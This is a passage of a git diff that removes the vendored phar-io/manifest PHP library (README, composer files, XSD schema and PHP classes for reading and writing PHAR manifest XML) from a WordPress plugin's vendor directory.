distribution. - -* Neither the name of Arne Blankerts nor the names of contributors - may be used to endorse or promote products derived from this software - without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT * NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS -BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, -OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -POSSIBILITY OF SUCH DAMAGE. - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/README.md b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/README.md deleted file mode 100644 index fae2c9a7..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/README.md +++ /dev/null @@ -1,178 +0,0 @@ -# Manifest - -Component for reading [phar.io](https://phar.io/) manifest information from a [PHP Archive (PHAR)](http://php.net/phar). - -## Installation - -You can add this library as a local, per-project dependency to your project using [Composer](https://getcomposer.org/): - - composer require phar-io/manifest - -If you only need this library during development, for instance to run your project's test suite, then you should add it as a development-time dependency: - - composer require --dev phar-io/manifest - -## Usage Examples - -### Read from `manifest.xml` -```php -use PharIo\Manifest\ManifestLoader; -use PharIo\Manifest\ManifestSerializer; - -$manifest = ManifestLoader::fromFile('manifest.xml'); - -var_dump($manifest); - -echo (new ManifestSerializer)->serializeToString($manifest); -``` - -
- Output - -```shell -object(PharIo\Manifest\Manifest)#14 (6) { - ["name":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Manifest\ApplicationName)#10 (1) { - ["name":"PharIo\Manifest\ApplicationName":private]=> - string(12) "some/library" - } - ["version":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Version\Version)#12 (5) { - ["originalVersionString":"PharIo\Version\Version":private]=> - string(5) "1.0.0" - ["major":"PharIo\Version\Version":private]=> - object(PharIo\Version\VersionNumber)#13 (1) { - ["value":"PharIo\Version\VersionNumber":private]=> - int(1) - } - ["minor":"PharIo\Version\Version":private]=> - object(PharIo\Version\VersionNumber)#23 (1) { - ["value":"PharIo\Version\VersionNumber":private]=> - int(0) - } - ["patch":"PharIo\Version\Version":private]=> - object(PharIo\Version\VersionNumber)#22 (1) { - ["value":"PharIo\Version\VersionNumber":private]=> - int(0) - } - ["preReleaseSuffix":"PharIo\Version\Version":private]=> - NULL - } - ["type":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Manifest\Library)#6 (0) { - } - ["copyrightInformation":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Manifest\CopyrightInformation)#19 (2) { - ["authors":"PharIo\Manifest\CopyrightInformation":private]=> - object(PharIo\Manifest\AuthorCollection)#9 (1) { - ["authors":"PharIo\Manifest\AuthorCollection":private]=> - array(1) { - [0]=> - object(PharIo\Manifest\Author)#15 (2) { - ["name":"PharIo\Manifest\Author":private]=> - string(13) "Reiner Zufall" - ["email":"PharIo\Manifest\Author":private]=> - object(PharIo\Manifest\Email)#16 (1) { - ["email":"PharIo\Manifest\Email":private]=> - string(16) "reiner@zufall.de" - } - } - } - } - ["license":"PharIo\Manifest\CopyrightInformation":private]=> - object(PharIo\Manifest\License)#11 (2) { - ["name":"PharIo\Manifest\License":private]=> - string(12) "BSD-3-Clause" - ["url":"PharIo\Manifest\License":private]=> - object(PharIo\Manifest\Url)#18 (1) { - ["url":"PharIo\Manifest\Url":private]=> - string(26) "https://domain.tld/LICENSE" - } - } - } - ["requirements":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Manifest\RequirementCollection)#17 (1) { - ["requirements":"PharIo\Manifest\RequirementCollection":private]=> - array(1) { - [0]=> - object(PharIo\Manifest\PhpVersionRequirement)#20 (1) { - ["versionConstraint":"PharIo\Manifest\PhpVersionRequirement":private]=> - object(PharIo\Version\SpecificMajorAndMinorVersionConstraint)#24 (3) { - ["originalValue":"PharIo\Version\AbstractVersionConstraint":private]=> - string(3) "7.0" - ["major":"PharIo\Version\SpecificMajorAndMinorVersionConstraint":private]=> - int(7) - ["minor":"PharIo\Version\SpecificMajorAndMinorVersionConstraint":private]=> - int(0) - } - } - } - } - ["bundledComponents":"PharIo\Manifest\Manifest":private]=> - object(PharIo\Manifest\BundledComponentCollection)#8 (1) { - ["bundledComponents":"PharIo\Manifest\BundledComponentCollection":private]=> - array(0) { - } - } -} - - - - - - - - - - - -``` -
- -### Create via API -```php -$bundled = new \PharIo\Manifest\BundledComponentCollection(); -$bundled->add( - new \PharIo\Manifest\BundledComponent('vendor/packageA', new \PharIo\Version\Version('1.2.3-dev') - ) -); - -$manifest = new PharIo\Manifest\Manifest( - new \PharIo\Manifest\ApplicationName('vendor/package'), - new \PharIo\Version\Version('1.0.0'), - new \PharIo\Manifest\Library(), - new \PharIo\Manifest\CopyrightInformation( - new \PharIo\Manifest\AuthorCollection(), - new \PharIo\Manifest\License( - 'BSD-3-Clause', - new \PharIo\Manifest\Url('https://spdx.org/licenses/BSD-3-Clause.html') - ) - ), - new \PharIo\Manifest\RequirementCollection(), - $bundled -); - -echo (new ManifestSerializer)->serializeToString($manifest); -``` - -
- Output - -```xml - - - - - - - - - - - - - -``` - -
- diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.json b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.json deleted file mode 100644 index dc5fa458..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "phar-io/manifest", - "description": "Component for reading phar.io manifest information from a PHP Archive (PHAR)", - "license": "BSD-3-Clause", - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "support": { - "issues": "https://github.com/phar-io/manifest/issues" - }, - "require": { - "php": "^7.2 || ^8.0", - "ext-dom": "*", - "ext-phar": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*", - "phar-io/version": "^3.0.1" - }, - "autoload": { - "classmap": [ - "src/" - ] - }, - "extra": { - "branch-alias": { - "dev-master": "2.0.x-dev" - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.lock b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.lock deleted file mode 100644 index fe18e08b..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/composer.lock +++ /dev/null @@ -1,76 +0,0 @@ -{ - "_readme": [ - "This file locks the dependencies of your project to a known state", - "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", - "This file is @generated automatically" - ], - "content-hash": "279b3c4fe44357abd924fdcc0cfa5664", - "packages": [ - { - "name": "phar-io/version", - "version": "3.2.1", - "source": { - "type": "git", - "url": "https://github.com/phar-io/version.git", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/phar-io/version/zipball/4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "reference": "4f7fd7836c6f332bb2933569e566a0d6c4cbed74", - "shasum": "" - }, - "require": { - "php": "^7.2 || ^8.0" - }, - "type": "library", - "autoload": { - "classmap": [ - "src/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Arne Blankerts", - "email": "arne@blankerts.de", - "role": "Developer" - }, - { - "name": "Sebastian Heuer", - "email": "sebastian@phpeople.de", - "role": "Developer" - }, - { - "name": "Sebastian Bergmann", - "email": "sebastian@phpunit.de", - "role": "Developer" - } - ], - "description": "Library for handling version information and constraints", - "support": { - "issues": "https://github.com/phar-io/version/issues", - "source": "https://github.com/phar-io/version/tree/3.2.1" - }, - "time": "2022-02-21T01:04:05+00:00" - } - ], - "packages-dev": [], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": [], - "prefer-stable": false, - "prefer-lowest": false, - "platform": { - "php": "^7.2 || ^8.0", - "ext-dom": "*", - "ext-phar": "*", - "ext-libxml": "*", - "ext-xmlwriter": "*" - }, - "platform-dev": [], - "plugin-api-version": "2.3.0" -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/manifest.xsd b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/manifest.xsd deleted file mode 100644 index 63e3f1cb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/manifest.xsd +++ /dev/null @@ -1,116 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestDocumentMapper.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestDocumentMapper.php deleted file mode 100644 index 3da6403f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestDocumentMapper.php +++ /dev/null @@ -1,151 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\Exception as VersionException; -use PharIo\Version\Version; -use PharIo\Version\VersionConstraintParser; -use Throwable; -use function sprintf; - -class ManifestDocumentMapper { - public function map(ManifestDocument $document): Manifest { - try { - $contains = $document->getContainsElement(); - $type = $this->mapType($contains); - $copyright = $this->mapCopyright($document->getCopyrightElement()); - $requirements = $this->mapRequirements($document->getRequiresElement()); - $bundledComponents = $this->mapBundledComponents($document); - - return new Manifest( - new ApplicationName($contains->getName()), - new Version($contains->getVersion()), - $type, - $copyright, - $requirements, - $bundledComponents - ); - } catch (Throwable $e) { - throw new ManifestDocumentMapperException($e->getMessage(), (int)$e->getCode(), $e); - } - } - - private function mapType(ContainsElement $contains): Type { - switch ($contains->getType()) { - case 'application': - return Type::application(); - case 'library': - return Type::library(); - case 'extension': - return $this->mapExtension($contains->getExtensionElement()); - } - - throw new ManifestDocumentMapperException( - sprintf('Unsupported type %s', $contains->getType()) - ); - } - - private function mapCopyright(CopyrightElement $copyright): CopyrightInformation { - $authors = new AuthorCollection(); - - foreach ($copyright->getAuthorElements() as $authorElement) { - $authors->add( - new Author( - $authorElement->getName(), - $authorElement->hasEMail() ? new Email($authorElement->getEmail()) : null - ) - ); - } - - $licenseElement = $copyright->getLicenseElement(); - $license = new License( - $licenseElement->getType(), - new Url($licenseElement->getUrl()) - ); - - return new CopyrightInformation( - $authors, - $license - ); - } - - private function mapRequirements(RequiresElement $requires): RequirementCollection { - $collection = new RequirementCollection(); - $phpElement = $requires->getPHPElement(); - $parser = new VersionConstraintParser; - - try { - $versionConstraint = $parser->parse($phpElement->getVersion()); - } catch (VersionException $e) { - throw new ManifestDocumentMapperException( - sprintf('Unsupported version constraint - %s', $e->getMessage()), - (int)$e->getCode(), - $e - ); - } - - $collection->add( - new PhpVersionRequirement( - $versionConstraint - ) - ); - - if (!$phpElement->hasExtElements()) { - return $collection; - } - - foreach ($phpElement->getExtElements() as $extElement) { - $collection->add( - new PhpExtensionRequirement($extElement->getName()) - ); - } - - return $collection; - } - - private function mapBundledComponents(ManifestDocument $document): BundledComponentCollection { - $collection = new BundledComponentCollection(); - - if (!$document->hasBundlesElement()) { - return $collection; - } - - foreach ($document->getBundlesElement()->getComponentElements() as $componentElement) { - $collection->add( - new BundledComponent( - $componentElement->getName(), - new Version( - $componentElement->getVersion() - ) - ) - ); - } - - return $collection; - } - - private function mapExtension(ExtensionElement $extension): Extension { - try { - $versionConstraint = (new VersionConstraintParser)->parse($extension->getCompatible()); - - return Type::extension( - new ApplicationName($extension->getFor()), - $versionConstraint - ); - } catch (VersionException $e) { - throw new ManifestDocumentMapperException( - sprintf('Unsupported version constraint - %s', $e->getMessage()), - (int)$e->getCode(), - $e - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestLoader.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestLoader.php deleted file mode 100644 index f467d2d3..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestLoader.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use function sprintf; - -class ManifestLoader { - public static function fromFile(string $filename): Manifest { - try { - return (new ManifestDocumentMapper())->map( - ManifestDocument::fromFile($filename) - ); - } catch (Exception $e) { - throw new ManifestLoaderException( - sprintf('Loading %s failed.', $filename), - (int)$e->getCode(), - $e - ); - } - } - - public static function fromPhar(string $filename): Manifest { - return self::fromFile('phar://' . $filename . '/manifest.xml'); - } - - public static function fromString(string $manifest): Manifest { - try { - return (new ManifestDocumentMapper())->map( - ManifestDocument::fromString($manifest) - ); - } catch (Exception $e) { - throw new ManifestLoaderException( - 'Processing string failed', - (int)$e->getCode(), - $e - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestSerializer.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestSerializer.php deleted file mode 100644 index 48b8efdd..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/ManifestSerializer.php +++ /dev/null @@ -1,172 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use PharIo\Version\AnyVersionConstraint; -use PharIo\Version\Version; -use PharIo\Version\VersionConstraint; -use XMLWriter; -use function count; -use function file_put_contents; -use function str_repeat; - -/** @psalm-suppress MissingConstructor */ -class ManifestSerializer { - /** @var XMLWriter */ - private $xmlWriter; - - public function serializeToFile(Manifest $manifest, string $filename): void { - file_put_contents( - $filename, - $this->serializeToString($manifest) - ); - } - - public function serializeToString(Manifest $manifest): string { - $this->startDocument(); - - $this->addContains($manifest->getName(), $manifest->getVersion(), $manifest->getType()); - $this->addCopyright($manifest->getCopyrightInformation()); - $this->addRequirements($manifest->getRequirements()); - $this->addBundles($manifest->getBundledComponents()); - - return $this->finishDocument(); - } - - private function startDocument(): void { - $xmlWriter = new XMLWriter(); - $xmlWriter->openMemory(); - $xmlWriter->setIndent(true); - $xmlWriter->setIndentString(str_repeat(' ', 4)); - $xmlWriter->startDocument('1.0', 'UTF-8'); - $xmlWriter->startElement('phar'); - $xmlWriter->writeAttribute('xmlns', 'https://phar.io/xml/manifest/1.0'); - - $this->xmlWriter = $xmlWriter; - } - - private function finishDocument(): string { - $this->xmlWriter->endElement(); - $this->xmlWriter->endDocument(); - - return $this->xmlWriter->outputMemory(); - } - - private function addContains(ApplicationName $name, Version $version, Type $type): void { - $this->xmlWriter->startElement('contains'); - $this->xmlWriter->writeAttribute('name', $name->asString()); - $this->xmlWriter->writeAttribute('version', $version->getVersionString()); - - switch (true) { - case $type->isApplication(): { - $this->xmlWriter->writeAttribute('type', 'application'); - - break; - } - - case $type->isLibrary(): { - $this->xmlWriter->writeAttribute('type', 'library'); - - break; - } - - case $type->isExtension(): { - $this->xmlWriter->writeAttribute('type', 'extension'); - /* @var $type Extension */ - $this->addExtension( - $type->getApplicationName(), - $type->getVersionConstraint() - ); - - break; - } - - default: { - $this->xmlWriter->writeAttribute('type', 'custom'); - } - } - - $this->xmlWriter->endElement(); - } - - private function addCopyright(CopyrightInformation $copyrightInformation): void { - $this->xmlWriter->startElement('copyright'); - - foreach ($copyrightInformation->getAuthors() as $author) { - $this->xmlWriter->startElement('author'); - $this->xmlWriter->writeAttribute('name', $author->getName()); - $this->xmlWriter->writeAttribute('email', $author->getEmail()->asString()); - $this->xmlWriter->endElement(); - } - - $license = $copyrightInformation->getLicense(); - - $this->xmlWriter->startElement('license'); - $this->xmlWriter->writeAttribute('type', $license->getName()); - $this->xmlWriter->writeAttribute('url', $license->getUrl()->asString()); - $this->xmlWriter->endElement(); - - $this->xmlWriter->endElement(); - } - - private function addRequirements(RequirementCollection $requirementCollection): void { - $phpRequirement = new AnyVersionConstraint(); - $extensions = []; - - foreach ($requirementCollection as $requirement) { - if ($requirement instanceof PhpVersionRequirement) { - $phpRequirement = $requirement->getVersionConstraint(); - - continue; - } - - if ($requirement instanceof PhpExtensionRequirement) { - $extensions[] = $requirement->asString(); - } - } - - $this->xmlWriter->startElement('requires'); - $this->xmlWriter->startElement('php'); - $this->xmlWriter->writeAttribute('version', $phpRequirement->asString()); - - foreach ($extensions as $extension) { - $this->xmlWriter->startElement('ext'); - $this->xmlWriter->writeAttribute('name', $extension); - $this->xmlWriter->endElement(); - } - - $this->xmlWriter->endElement(); - $this->xmlWriter->endElement(); - } - - private function addBundles(BundledComponentCollection $bundledComponentCollection): void { - if (count($bundledComponentCollection) === 0) { - return; - } - $this->xmlWriter->startElement('bundles'); - - foreach ($bundledComponentCollection as $bundledComponent) { - $this->xmlWriter->startElement('component'); - $this->xmlWriter->writeAttribute('name', $bundledComponent->getName()); - $this->xmlWriter->writeAttribute('version', $bundledComponent->getVersion()->getVersionString()); - $this->xmlWriter->endElement(); - } - - $this->xmlWriter->endElement(); - } - - private function addExtension(ApplicationName $applicationName, VersionConstraint $versionConstraint): void { - $this->xmlWriter->startElement('extension'); - $this->xmlWriter->writeAttribute('for', $applicationName->asString()); - $this->xmlWriter->writeAttribute('compatible', $versionConstraint->asString()); - $this->xmlWriter->endElement(); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ElementCollectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ElementCollectionException.php deleted file mode 100644 index 7528afc8..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ElementCollectionException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use InvalidArgumentException; - -class ElementCollectionException extends InvalidArgumentException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/Exception.php deleted file mode 100644 index 0c135d3c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use Throwable; - -interface Exception extends Throwable { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php deleted file mode 100644 index ecfe5142..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidApplicationNameException.php +++ /dev/null @@ -1,17 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use InvalidArgumentException; - -class InvalidApplicationNameException extends InvalidArgumentException implements Exception { - public const InvalidFormat = 2; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidEmailException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidEmailException.php deleted file mode 100644 index 24240551..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidEmailException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use InvalidArgumentException; - -class InvalidEmailException extends InvalidArgumentException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidUrlException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidUrlException.php deleted file mode 100644 index c8b192b1..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/InvalidUrlException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use InvalidArgumentException; - -class InvalidUrlException extends InvalidArgumentException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentException.php deleted file mode 100644 index 0a158e6e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use RuntimeException; - -class ManifestDocumentException extends RuntimeException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php deleted file mode 100644 index 816af120..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentLoadingException.php +++ /dev/null @@ -1,47 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use LibXMLError; -use function sprintf; - -class ManifestDocumentLoadingException extends \Exception implements Exception { - /** @var LibXMLError[] */ - private $libxmlErrors; - - /** - * ManifestDocumentLoadingException constructor. - * - * @param LibXMLError[] $libxmlErrors - */ - public function __construct(array $libxmlErrors) { - $this->libxmlErrors = $libxmlErrors; - $first = $this->libxmlErrors[0]; - - parent::__construct( - sprintf( - '%s (Line: %d / Column: %d / File: %s)', - $first->message, - $first->line, - $first->column, - $first->file - ), - $first->code - ); - } - - /** - * @return LibXMLError[] - */ - public function getLibxmlErrors(): array { - return $this->libxmlErrors; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php deleted file mode 100644 index 0d1a5f5a..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestDocumentMapperException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use RuntimeException; - -class ManifestDocumentMapperException extends RuntimeException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestElementException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestElementException.php deleted file mode 100644 index 46f82e32..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestElementException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use RuntimeException; - -class ManifestElementException extends RuntimeException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestLoaderException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestLoaderException.php deleted file mode 100644 index d00ed190..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/ManifestLoaderException.php +++ /dev/null @@ -1,14 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class ManifestLoaderException extends \Exception implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/NoEmailAddressException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/NoEmailAddressException.php deleted file mode 100644 index 27913126..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/exceptions/NoEmailAddressException.php +++ /dev/null @@ -1,16 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use InvalidArgumentException; - -class NoEmailAddressException extends InvalidArgumentException implements Exception { -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Application.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Application.php deleted file mode 100644 index 11a44d9c..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Application.php +++ /dev/null @@ -1,17 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -class Application extends Type { - public function isApplication(): bool { - return true; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/ApplicationName.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/ApplicationName.php deleted file mode 100644 index 1a0ad1e2..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/ApplicationName.php +++ /dev/null @@ -1,41 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use function preg_match; -use function sprintf; - -class ApplicationName { - /** @var string */ - private $name; - - public function __construct(string $name) { - $this->ensureValidFormat($name); - $this->name = $name; - } - - public function asString(): string { - return $this->name; - } - - public function isEqual(ApplicationName $name): bool { - return $this->name === $name->name; - } - - private function ensureValidFormat(string $name): void { - if (!preg_match('#\w/\w#', $name)) { - throw new InvalidApplicationNameException( - sprintf('Format of name "%s" is not valid - expected: vendor/packagename', $name), - InvalidApplicationNameException::InvalidFormat - ); - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Author.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Author.php deleted file mode 100644 index 7b243aac..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phar-io/manifest/src/values/Author.php +++ /dev/null @@ -1,57 +0,0 @@ -, Sebastian Heuer , Sebastian Bergmann and contributors - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - * - */ -namespace PharIo\Manifest; - -use function sprintf; - -class Author { - /** @var string */ - private $name; - - /** @var null|Email */ - private 